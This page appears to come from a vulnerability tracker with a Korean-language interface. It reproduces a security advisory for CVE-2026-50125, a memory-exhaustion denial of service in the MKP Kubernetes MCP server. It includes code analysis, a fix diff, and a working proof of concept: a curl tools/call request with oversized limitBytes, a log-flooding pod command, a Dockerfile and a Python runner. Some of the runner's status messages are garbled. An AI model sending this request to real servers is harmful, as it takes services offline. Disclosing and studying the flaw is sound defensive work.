Kestrel
대시보드로 돌아가기
CVE-2026-50125HIGH· 7.5GHSA대응게시일: 2026. 07. 14.수정일: 2026. 07. 14.

MKP: Unbounded Pod Log Read via Attacker-Controlled `limitBytes`/`tailLines` Causes Memory Exhaustion

위협 신호 · CVSS · EPSS · KEV

정기 패치· 높은 악용 신호 없음
CVSS
7.5high

이론적 심각도 점수

EPSS

예측 데이터 없음

KEV
미등재

실측 악용 기록 없음

권장 대응 기한14일 이내CISA SSVC 기준

2주 이내 패치 — 우선 조치 대상

자동화 가능외부 노출· KEV 미등재 · 자동화 가능 · 부분 영향 · 외부 노출

CVSS 벡터 · 메트릭

악용 경로
공격 벡터네트워크
공격 복잡도낮음
필요 권한불필요
사용자 상호작용불필요
범위불변
영향
기밀성 영향없음
무결성 영향없음
가용성 영향높음
버전별 점수
CVSS 3.17.5HIGH
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

상세 설명

Unbounded Pod Log Read via Attacker-Controlled limitBytes/tailLines Causes Memory Exhaustion

Summary

The MKP (Model Context Protocol for Kubernetes) server exposes a get_resource MCP tool that proxies Kubernetes pod log requests. User-supplied limitBytes and tailLines parameters are parsed as unbounded int64 values and forwarded directly to the Kubernetes API. The server then reads the entire returned log stream into an in-memory bytes.Buffer using io.Copy without any application-side size cap. A remote unauthenticated attacker can exploit this to exhaust the MKP server's memory by sending a single crafted tools/call request, leading to process termination (OOM kill) and denial of service. Dynamic reproduction confirmed the MKP process RSS grew from 25.8 MB to 1,179.3 MB (+1,153.4 MB) while handling one request with limitBytes=134217728.

Details

The vulnerability exists in pkg/k8s/subresource.go in the buildPodLogOpts() and defaultGetPodLogs() functions.

Source — unbounded parameter parsing (pkg/k8s/subresource.go:171–181):

text
1// pkg/k8s/subresource.go
2defaultLimitBytes := int64(32 * 1024) // 32 KB — only used when parameters map is nil
3...
4if limitBytes, ok := parameters["limitBytes"]; ok {
5 if b, err := strconv.ParseInt(limitBytes, 10, 64); err == nil {
6 podLogOpts.LimitBytes = &b // no upper-bound check
7 }
8}
9if tailLines, ok := parameters["tailLines"]; ok {
10 if lines, err := strconv.ParseInt(tailLines, 10, 64); err == nil {
11 podLogOpts.TailLines = &lines // no upper-bound check
12 }
13}

When the parameters map is non-nil (always true for attacker-supplied input), buildPodLogOpts() is called at pkg/k8s/subresource.go:94–96 and overwrites the 32 KB default entirely. The attacker can therefore supply any positive int64 value (up to 2147483647 or 9223372036854775807) as limitBytes.

Sink — unbounded in-memory copy (pkg/k8s/subresource.go:114–115):

text
1buf := new(bytes.Buffer)
2_, err = io.Copy(buf, podLogs) // entire Kubernetes stream copied into RAM

The stream from Kubernetes is read without limit into a heap-allocated bytes.Buffer. Subsequent JSON serialisation and MCP response wrapping create additional copies, meaning the actual RSS increase is a multiple of the raw log size (observed: ~9×).

Attack path (source → sink):

StepLocationDescription
1cmd/server/main.go:30Server binds to :8080 on all interfaces; no authentication by default
2pkg/mcp/server.go:131NewGetResourceTool() registered unconditionally (no --read-write required)
3pkg/mcp/get_resource.go:28–38Attacker-controlled parameters map parsed from CallToolRequest
4pkg/mcp/get_resource.go:76client.GetResource(..., parameters) called
5pkg/k8s/subresource.go:32–33resource=pods + subresource=logs routes into getPodLogs
6pkg/k8s/subresource.go:171–181limitBytes / tailLines parsed without upper bound (source)
7pkg/k8s/subresource.go:114–115io.Copy(buf, podLogs) loads full stream into bytes.Buffer (sink)

The rate limiter (pkg/ratelimit/config.go:16–17) caps only request frequency (120 req/min) and places no limit on per-request data volume, providing no meaningful mitigation.

Suggested remediation:

text
1+const (
2+ maxPodLogTailLines int64 = 1000
3+ maxPodLogLimitBytes int64 = 1024 * 1024 // 1 MB hard cap
4+)
5+
6 buf := new(bytes.Buffer)
7-_, err = io.Copy(buf, podLogs)
8+limitedLogs := &io.LimitedReader{R: podLogs, N: maxPodLogLimitBytes + 1}
9+_, err = io.Copy(buf, limitedLogs)
10+if limitedLogs.N == 0 {
11+ return nil, fmt.Errorf("pod logs exceed maximum size of %d bytes", maxPodLogLimitBytes)
12+}
13
14 if limitBytes, ok := parameters["limitBytes"]; ok {
15 if b, err := strconv.ParseInt(limitBytes, 10, 64); err == nil {
16+ if b <= 0 || b > maxPodLogLimitBytes {
17+ b = maxPodLogLimitBytes
18+ }
19 podLogOpts.LimitBytes = &b
20 }
21 }
22 if tailLines, ok := parameters["tailLines"]; ok {
23 if lines, err := strconv.ParseInt(tailLines, 10, 64); err == nil {
24+ if lines <= 0 || lines > maxPodLogTailLines {
25+ lines = maxPodLogTailLines
26+ }
27 podLogOpts.TailLines = &lines
28 }
29 }

PoC

Prerequisites

  • Docker (for self-contained reproduction)
  • A running Kubernetes cluster with a pod whose logs are large (for real-environment testing)
  • MKP server accessible on port 8080

Option A — Self-contained Docker reproduction (Phase 2 method)

This method uses a mock Kubernetes API that streams 128 MB of log data:

bash
1# 1. Clone the repository and enter it
2git clone https://github.com/StacklokLabs/mkp.git
3cd mkp
4
5# 2. Build the Docker image (build context is the repo root; Dockerfile is in vuln-001/)
6docker build -t mkp-vuln-001 -f vuln-001/Dockerfile .
7
8# 3. Run the exploit container — output includes RSS measurements
9docker run --rm mkp-vuln-001

Expected output (condensed):

text
1Initial RSS: 26464 kB ( 25.8 MB)
2t+01s: MKP RSS = 383080 kB ( 374.1 MB) [in-progress]
3t+02s: MKP RSS = 683876 kB ( 667.8 MB) [in-progress]
4t+03s: MKP RSS = 945008 kB ( 922.9 MB) [in-progress]
5t+06s: MKP RSS = 1207560 kB (1179.3 MB) [in-progress]
6Peak RSS: 1207572 kB (1179.3 MB)
7Delta RSS: 1181108 kB (1153.4 MB)
8VERDICT: CONFIRMED — RSS grew 1153.4 MB (limitBytes=128 MB)

Option B — Real Kubernetes environment (manual)

bash
1# 1. Build and start MKP server (default transport: streamable-http on :8080)
2git clone https://github.com/StacklokLabs/mkp.git && cd mkp
3task build
4./build/mkp-server --kubeconfig=/path/to/kubeconfig
5
6# 2. Create a pod that generates large logs
7kubectl -n default run logbomb --image=busybox --restart=Never -- \
8 sh -c 'yes AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
9
10# Wait ~30 seconds for logs to accumulate, then:
11
12# 3. Send the exploit request
13curl -sS http://127.0.0.1:8080/mcp \
14 -H 'Content-Type: application/json' \
15 -H 'Accept: application/json, text/event-stream' \
16 --data '{
17 "jsonrpc": "2.0",
18 "id": 1,
19 "method": "tools/call",
20 "params": {
21 "name": "get_resource",
22 "arguments": {
23 "resource_type": "namespaced",
24 "group": "",
25 "version": "v1",
26 "resource": "pods",
27 "namespace": "default",
28 "name": "logbomb",
29 "subresource": "logs",
30 "parameters": {
31 "tailLines": "999999999",
32 "limitBytes": "2147483647"
33 }
34 }
35 }
36 }'

Expected observation: MKP process RSS grows rapidly during request handling. With sufficiently large logs or concurrent requests, the process is OOM-killed and the MCP endpoint becomes unavailable.

Impact

This is an unauthenticated remote Denial of Service (DoS) vulnerability affecting any deployment of MKP server accessible over the network.

Who is impacted:

  • Any operator running mkp-server in its default configuration (no --read-write flag required; get_resource is registered by default on :8080 without authentication).
  • Kubernetes clusters whose namespaces contain pods with large accumulated logs (e.g., kube-system workloads in production clusters almost always satisfy this condition).
  • Downstream consumers of the MCP interface who rely on MKP for cluster observability; an attacker can make the entire MKP service unavailable.

A single tools/call request is sufficient to trigger the condition. Because the rate limiter does not cap per-request data volume, even the 120 req/min limit provides no protection: one request with limitBytes=2147483647 (~2 GB) will exhaust memory before any subsequent requests are needed.

No authentication, special privileges, or pre-existing access beyond network reachability of port 8080 is required.

Reproduction artifacts

Dockerfile
sql
1# ── Stage 1: Build mkp-server ─────────────────────────────────────────────────
2FROM golang:1.25 AS builder
3
4# GOTOOLCHAIN=local prevents Go from trying to download a newer toolchain
5# matching the go 1.25.5 directive in go.mod; any Go 1.25.x is sufficient.
6ENV GOTOOLCHAIN=local
7ENV CGO_ENABLED=0
8
9WORKDIR /src
10
11# Copy the source tree (build con = parent of vuln-001/)
12COPY repo/ .
13
14RUN go build -o /mkp-server ./cmd/server
15
16# ── Stage 2: Runtime ─────────────────────────────────────────────────────────
17FROM python:3.12-slim
18
19RUN apt-get update && \
20 apt-get install -y --no-install-recommends procps curl && \
21 rm -rf /var/lib/apt/lists/*
22
23COPY --from=builder /mkp-server /usr/local/bin/mkp-server
24
25COPY vuln-001/mock_k8s_api.py /workspace/mock_k8s_api.py
26COPY vuln-001/kubeconfig.yaml /workspace/kubeconfig.yaml
27COPY vuln-001/exploit.py /workspace/exploit.py
28COPY vuln-001/entrypoint.sh /workspace/entrypoint.sh
29
30RUN chmod +x /workspace/entrypoint.sh
31
32CMD ["/workspace/entrypoint.sh"]
poc.py
python
1#!/usr/bin/env python3
2"""
3VULN-001 Dynamic Reproduction Orchestrator.
4
5Build: docker build -t mkp-vuln-001 -f vuln-001/Dockerfile .
6Run : docker run --rm mkp-vuln-001
7
8Evidence criterion: MKP RSS grows by ≥ 50 MB while processing a single
9tools/call request with limitBytes=134217728 (128 MB), proving that
10defaultGetPodLogs() performs an unbounded io.Copy into bytes.Buffer.
11"""
12import json
13import os
14import re
15import subprocess
16import sys
17from pathlib import Path
18
19WORK_DIR = Path(__file__).parent.resolve()
20REPO_ROOT = WORK_DIR.parent
21IMAGE = "mkp-vuln-001"
22BUILD_CMD = f"docker build -t {IMAGE} -f vuln-001/Dockerfile ."
23RUN_CMD = f"docker run --rm {IMAGE}"
24
25
26# ─────────────────────────────────────────────────────────────────────────────
27def run_streaming(cmd: str, cwd=None) -> tuple[int, str]:
28 """Run a shell command, stream its output, and return (rc, full_output)."""
29 proc = subprocess.Popen(
30 cmd, shell=True,
31 stdout=subprocess.PIPE, stderr=subprocess.STDOUT,
32 text=True, cwd=cwd,
33 )
34 lines = []
35 for line in proc.stdout:
36 print(line, end='', flush=True)
37 lines.append(line)
38 proc.wait()
39 return proc.returncode, ''.join(lines)
40
41
42def save_result(result: dict):
43 path = WORK_DIR / 'phase2_result.json'
44 with open(path, 'w', encoding='utf-8') as f:
45 json.dump(result, f, ensure_ascii=False, indent=2)
46 print(f"\n[poc] Result saved → {path}")
47
48
49def parse_evidence(output: str) -> dict:
50 ev: dict = {}
51 m = re.search(r'Initial RSS\s*:\s*(\d+)', output)
52 if m:
53 ev['initial_kb'] = int(m.group(1))
54 ev['initial_mb'] = ev['initial_kb'] / 1024
55
56 m = re.search(r'Peak RSS\s*:\s*(\d+)', output)
57 if m:
58 ev['peak_kb'] = int(m.group(1))
59 ev['peak_mb'] = ev['peak_kb'] / 1024
60
61 m = re.search(r'Delta RSS\s*:\s*(\d+)\s*kB\s*\(([0-9.]+)\s*MB\)', output)
62 if m:
63 ev['delta_kb'] = int(m.group(1))
64 ev['delta_mb'] = float(m.group(2))
65 elif 'peak_kb' in ev and 'initial_kb' in ev:
66 ev['delta_kb'] = ev['peak_kb'] - ev['initial_kb']
67 ev['delta_mb'] = ev['delta_kb'] / 1024
68
69 m = re.search(r'VERDICT:\s*(CONFIRMED|INCONCLUSIVE)[^\n]*', output)
70 if m:
71 ev['verdict_line'] = m.group(0)
72
73 return ev
74
75
76def extract_evidence_block(output: str) -> str:
77 """Return the EVIDENCE SUMMARY block, or the last 3000 chars."""
78 m = re.search(r'={10,}\nEVIDENCE SUMMARY.*?={10,}', output, re.DOTALL)
79 if m:
80 return m.group(0)[:3000]
81 return output[-3000:]
82
83
84# ─────────────────────────────────────────────────────────────────────────────
85def main():
86 print("=" * 60)
87 print("VULN-001: Unbounded Pod Log Read — Dynamic Reproduction")
88 print("=" * 60)
89
90 os.chdir(REPO_ROOT)
91
92 # ── Docker build ──────────────────────────────────────────────────────────
93 print(f"\n[poc] Building Docker image…\n[poc] {BUILD_CMD}\n")
94 rc, build_output = run_streaming(BUILD_CMD)
95 if rc != 0:
96 reason = f"Docker build failed (exit {rc}). text error: {build_output[-800:]}"
97 save_result({
98 "passed": False,
99 "verdict": "FAIL",
100 "reason": reason,
101 "build_command": BUILD_CMD,
102 "run_command": RUN_CMD,
103 "poc_command": "python3 vuln-001/poc.py",
104 "evidence": build_output[-2000:],
105 "artifacts": ["Dockerfile", "poc.py"],
106 })
107 print(f"\n[poc] FAIL: {reason}")
108 return False
109
110 print("\n[poc] Build OK.")
111
112 # ── Docker run ────────────────────────────────────────────────────────────
113 print(f"\n[poc] Running exploit container…\n[poc] {RUN_CMD}\n")
114 rc, run_output = run_streaming(f"{RUN_CMD} 2>&1")
115 print(f"\n[poc] Container exited (code={rc})")
116
117 ev = parse_evidence(run_output)
118 delta_mb = ev.get('delta_mb', 0.0)
119 print(f"[poc] Parsed evidence: {ev}")
120
121 # ── Verdict ───────────────────────────────────────────────────────────────
122 passed = delta_mb >= 50.0
123
124 if passed:
125 verdict = "PASS"
126 init_mb = ev.get('initial_mb', 0)
127 peak_mb = ev.get('peak_mb', 0)
128 reason = (
129 f"MKP server RSStext {init_mb:.1f} MB → {peak_mb:.1f} MBtext {delta_mb:.1f} MB increasedone. "
130 f"the attacker limitBytes=134217728 (128 MB)text tools/call requesttext containswhentextcharacters "
131 f"pkg/k8s/subresource.go:114-115text io.Copy(buf, podLogs)text limit text "
132 f"bytes.Buffertext 128 MB text streamtext beforetext text thattext dynamicas confirmed."
133 )
134 else:
135 verdict = "INCOMPLETE"
136 reason = (
137 f"RSS text {delta_mb:.1f} MB — 50 MB criteria text. "
138 f"possibletext cause: MCP session initialization failure, 30seconds texttext timeout text exit, "
139 f"or Mock API response textreached. container logs text 500characters: {run_output[-500:]}"
140 )
141
142 result = {
143 "passed": passed,
144 "verdict": verdict,
145 "reason": reason,
146 "build_command": BUILD_CMD,
147 "run_command": RUN_CMD,
148 "poc_command": "python3 vuln-001/poc.py",
149 "evidence": extract_evidence_block(run_output),
150 "artifacts": ["Dockerfile", "poc.py"],
151 }
152 save_result(result)
153
154 print(f"\n[poc] {'PASS' if passed else 'INCOMPLETE'}: {reason}")
155 return passed
156
157
158if __name__ == '__main__':
159 ok = main()
160 sys.exit(0 if ok else 1)

AI 심층 분석

공격 시나리오 · 재현 가능한 PoC 페이로드 · 즉시 적용 가능한 차단 패치를 한 번에 받아 보세요. 보안 운영팀이 그대로 점검·티켓팅에 쓸 수 있는 형태로 정리해 드립니다.